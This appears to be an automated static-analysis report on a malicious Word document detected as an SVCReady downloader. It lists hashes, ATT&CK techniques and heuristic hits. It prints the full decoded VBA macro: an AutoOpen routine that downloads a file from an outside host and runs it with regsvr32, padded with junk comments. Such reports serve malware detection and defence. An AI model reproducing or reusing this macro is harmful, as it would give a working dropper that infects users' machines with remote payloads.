Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f9b682245ad0fe44…

MALICIOUS

Office (OOXML)

147.6 KB Created: 2020-07-08 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: f87de9e54541c53de616b230852e0d28 SHA-1: 9cf0153c3a04a30c138ab649b8a8cb1286c8fd8a SHA-256: f9b682245ad0fe442e1bbe331f67b8c6a6241aac9fb2aa727b020a4f0a897ce2
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1071.001 Web Protocols

The sample is an Office document containing a VBA macro with an AutoOpen subroutine. This macro utilizes the URLDownloadToFile function to download a file named 'ww.tmp' from the URL the embedded link The presence of the AutoOpen macro and the URLDownloadToFile function strongly indicate a downloader payload designed to fetch and execute a second-stage malicious file.

Heuristics 5

  • ClamAV: Doc.Downloader.SVCReady-81fe832081fe7c7c-9951593-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-81fe832081fe7c7c-9951593-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    ' Variation shortly tournaments
    Call URLDownloadToFile(0, "http://ioyyf.com/iz5/yaca.php?l=kpt4.cab", Vw, 0, 0)
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Public Const Vw As String = "ww.tmp"
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ioyyf.com/iz5/yaca.php?l=kpt4.cab Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2357 bytes
SHA-256: ef35462b8cd52c2ef10d3012906f9e4e1d9b900b4789ad47312c7e1e4760c856
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "E"
Public Const Vw As String = "ww.tmp"
Sub autoopen()

' Prune

' Ons burrows
' Variation shortly tournaments
Call URLDownloadToFile(0, "http://ioyyf.com/iz5/yaca.php?l=kpt4.cab", Vw, 0, 0)

' Darkness yule
' Twitter ninety-six nape extraction
' Saves separable protege spectacular paperbacks
' Chubby complexity sully nine necktie hermes
P
End Sub

Attribute VB_Name = "E1"
Sub P()

' Driveway hist bottled advertiser
' Cn prints confidante strategic
' Speaks
' Compared bestiality

' Lurk rotating expansion bit
' Percent rummage butch tea projected
' Courses
' Commissioner watchfulness artisan lunar

' Monkey loaves wheedle protestant debasement system
' Patricia cock armstrong
' Syndrome amend
' Care joel russell insufferable
' Relations ghz

' Kelly clayey hoax yesterday
' Michael discrete
' Remedy athletes
' Bahia novelty
' Biblical final unconcern unix decorous

' Ever vietnamese pathology richardson
' Absolve
' Egotism instability garter stranger anointing portions

' Blindfold as stocks assumes stuart talmud
' Intermediary font toothache cinema rate meaningless

' Warehouse mem tweed lace her
' Local recognizable
' Analogies gathering
' Writhe unlock
' Auction freedom jasmine
' Very

' Carb trance
' Stab
' Moved reservoir
' Rudiments edinburgh
Dim gP As New WshShell

' Con-
' Frontier hallowed temporarily sixty-three apace
' Analyzed sirup pricing bras
' Freemen stoicism oakland unassuming
' Word fusion sold recant accountable
' Pp
' Tunnel en ap took typing
gP.run "regs" + "vr32 " & Vw
End Sub

Attribute VB_Name = "g"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal cQ As LongPtr, ByVal HF As String, ByVal EZ As String, ByVal D4 As LongPtr, ByVal Op As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal cQ As Long, ByVal HF As String, ByVal EZ As String, ByVal D4 As Long, ByVal Op As Long) As Long
#End If
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: 3316f043b9da753c6986508e4e91be493fd03b7cf296a01de258e15dc1f8db85